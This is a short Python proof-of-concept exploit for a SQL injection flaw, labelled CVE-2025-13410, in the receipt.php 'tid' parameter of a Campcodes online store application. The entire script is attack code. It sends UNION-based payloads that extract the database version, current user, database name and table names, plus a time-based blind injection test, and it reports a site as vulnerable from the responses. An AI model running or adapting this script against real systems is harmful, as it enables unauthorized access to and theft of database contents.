import requests
import sys
# CVE-2025-13410 PoC - SQL Injection in /admin/receipt.php
# Target: Campcodes Retro Basketball Shoes Online Store 1.0
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com"
# SQL Injection payload for extracting database version
payloads = [
"1' UNION SELECT NULL,NULL,NULL,NULL,version(),NULL,NULL,NULL-- -",
"1' UNION SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL-- -",
"1' UNION SELECT NULL,NULL,NULL,NULL,database(),NULL,NULL,NULL-- -",
"1' UNION SELECT NULL,NULL,table_name,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -",
"1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -"
]
print(f"[*] Testing CVE-2025-13410 on {target_url}")
print(f"[*] Target endpoint: {target_url}/admin/receipt.php?tid=1")
print("=" * 60)
for i, payload in enumerate(payloads, 1):
print(f"\n[Test {i}] Payload: {payload}")
try:
url = f"{target_url}/admin/receipt.php"
params = {"tid": payload}
response = requests.get(url, params=params, timeout=10)
if response.status_code == 200:
print(f"[+] Request sent successfully")
print(f"[+] Response length: {len(response.text)} bytes")
if "UNION" in payload or "information_schema" in payload:
if any(keyword in response.text for keyword in ["5.", "root@", "information_schema"]):
print("[!] VULNERABLE - SQL injection detected!")
print("[!] Extracted data found in response")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
print("\n[*] Testing complete")
print("[*] Note: Manual verification recommended for production environments")